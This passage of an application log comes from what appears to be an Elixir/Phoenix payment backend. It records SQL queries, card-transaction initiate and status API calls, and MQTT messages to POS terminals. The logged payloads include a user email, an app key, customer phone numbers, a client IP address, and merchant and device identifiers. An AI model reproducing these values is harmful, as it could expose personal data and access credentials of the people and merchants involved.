SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 11:47:01.504000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51754] QUERY OK source="cloud_transaction" db=1.9ms idle=888.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 11:47:01.505000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51754] Sent 200 in 31ms
[Thu Sep  3 11:47:06.299000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51762] POST /api/device/status
[Thu Sep  3 11:47:06.300000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51762] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch641997167991", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:47:06.300000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51762] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch641997167991", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 11:47:06.300000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51762] Transaction reference number: "ch641997167991"
[Thu Sep  3 11:47:06.319000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51762] QUERY OK source="pos_transaction" db=15.5ms idle=1687.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 11:47:06.325000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51762] QUERY OK source="pos_terminals" db=5.1ms idle=1701.6ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 11:47:06.328000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51762] QUERY OK source="brands" db=1.9ms idle=1707.0ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 11:47:06.329000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51762] QUERY OK source="user_metadata" db=0.8ms idle=1751.3ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 11:47:06.330000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51762] QUERY OK source="cloud_transaction" db=0.6ms idle=1710.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 11:47:06.330000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51762] Sent 200 in 30ms
[Thu Sep  3 11:47:44.291000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch641997167991","money": "12000.0", "status": "SUCCESS" }
[Thu Sep  3 11:47:44.291000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch641997167991: %{"money" => "12000.0", "request_id" => "ch641997167991", "status" => "SUCCESS"}
[Thu Sep  3 11:47:44.291000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch641997167991 is success
[Thu Sep  3 11:47:44.295000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.9ms queue=2.2ms idle=1674.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch641997167991", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 11:47:44.347000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=48.6ms queue=2.4ms idle=1679.4ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-03 11:47:44], 4957]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 11:47:44.347000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch641997167991 updated to success/received
[Thu Sep  3 11:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1076.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:00:00.649000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1465.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 12:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 12:00:00.857000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1151.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 12:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 12:06:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.2ms idle=1966.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:07:52.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36842] POST /api/device/initiate
[Thu Sep  3 12:07:52.227000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36842] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "2", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch261925438545", "externalRefNumber2" => "3357629408", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:07:52.228000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Processing card transaction for reference: ch261925438545
[Thu Sep  3 12:07:52.230000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="users" db=2.1ms idle=1408.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:07:52.235000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="custom_events" db=1.0ms queue=3.2ms idle=1411.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:07:52.235000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch261925438545"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 2,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch261925438545",
  external_ref_number_2: "3357629408",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 12:07:52.237000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 2,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch261925438545",
    external_ref_number_2: "3357629408",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch261925438545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:07:52.237728Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:07:52.238000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36842] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 2, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch261925438545", external_ref_number_2: "3357629408", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch261925438545", transaction_id: nil, date_added: ~U[2026-09-03 12:07:52.237728Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:07:52.313000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK db=74.6ms queue=0.1ms idle=1418.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 2, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch261925438545", external_ref_number_2: "3357629408", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch261925438545", ~U[2026-09-03 12:07:52Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:07:52], ~N[2026-09-03 12:07:52]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:07:52.313000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Successfully created custom event log with ID: 40202
[Thu Sep  3 12:07:52.314000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Handling card transaction:
- Reference: ch261925438545
- Amount: 2
- Params: %{"accountLabel" => "", "amount" => "2", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch261925438545", "externalRefNumber2" => "3357629408", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 12:07:52.315000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="users" db=0.4ms idle=1495.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:07:52.317000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="custom_events" db=1.2ms idle=1496.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:07:52.317000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch261925438545"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788437272,
  device_id: "98251226730002",
  amount: 2
}

[Thu Sep  3 12:07:52.317000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788437272,
    device_id: "98251226730002",
    amount: 2
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch261925438545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:07:52.317581Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:07:52.318000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36842] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788437272, device_id: "98251226730002", amount: 2}, event_name: "Response From Device Online Status", refrence_id: "ch261925438545", transaction_id: nil, date_added: ~U[2026-09-03 12:07:52.317581Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:07:52.353000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK db=35.2ms idle=1377.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788437272, device_id: "98251226730002", amount: 2}, "Response From Device Online Status", "ch261925438545", ~U[2026-09-03 12:07:52Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:07:52], ~N[2026-09-03 12:07:52]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:07:52.353000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Successfully created custom event log with ID: 40203
[Thu Sep  3 12:07:52.354000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch261925438545\",\"amount\":200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:07:52.405000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK db=49.4ms queue=0.8ms idle=950.7ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "2", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch261925438545", "externalRefNumber2" => "3357629408", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_5306b67edfe6@mercurypay.in", "98251226730002", "ch261925438545", 4, Decimal.new("2"), %{}, "1", ~N[2026-09-03 12:07:52], ~N[2026-09-03 12:07:52]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:07:52.408000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="users" db=2.6ms idle=458.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:07:52.409000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="custom_events" db=0.9ms queue=0.1ms idle=394.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:07:52.410000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch261925438545"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788437272,
  qos: 1,
  device_id: "98251226730002",
  amount: 2
}

[Thu Sep  3 12:07:52.410000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788437272,
    qos: 1,
    device_id: "98251226730002",
    amount: 2
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch261925438545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:07:52.410312Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:07:52.410000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36842] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788437272, qos: 1, device_id: "98251226730002", amount: 2}, event_name: "Request For Publish Txn", refrence_id: "ch261925438545", transaction_id: nil, date_added: ~U[2026-09-03 12:07:52.410312Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:07:52.456000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK db=45.0ms idle=308.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788437272, qos: 1, device_id: "98251226730002", amount: 2}, "Request For Publish Txn", "ch261925438545", ~U[2026-09-03 12:07:52Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:07:52], ~N[2026-09-03 12:07:52]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:07:52.456000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Successfully created custom event log with ID: 40204
[Thu Sep  3 12:07:52.456000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1112539137.239377>
[Thu Sep  3 12:07:52.456000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1112539137.239381>
[Thu Sep  3 12:07:52.458000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="users" db=0.9ms idle=226.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:07:52.459000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK source="custom_events" db=0.7ms idle=223.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:07:52.462000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch261925438545"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788437272,
  device_id: "98251226730002",
  amount: 2
}

[Thu Sep  3 12:07:52.462000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
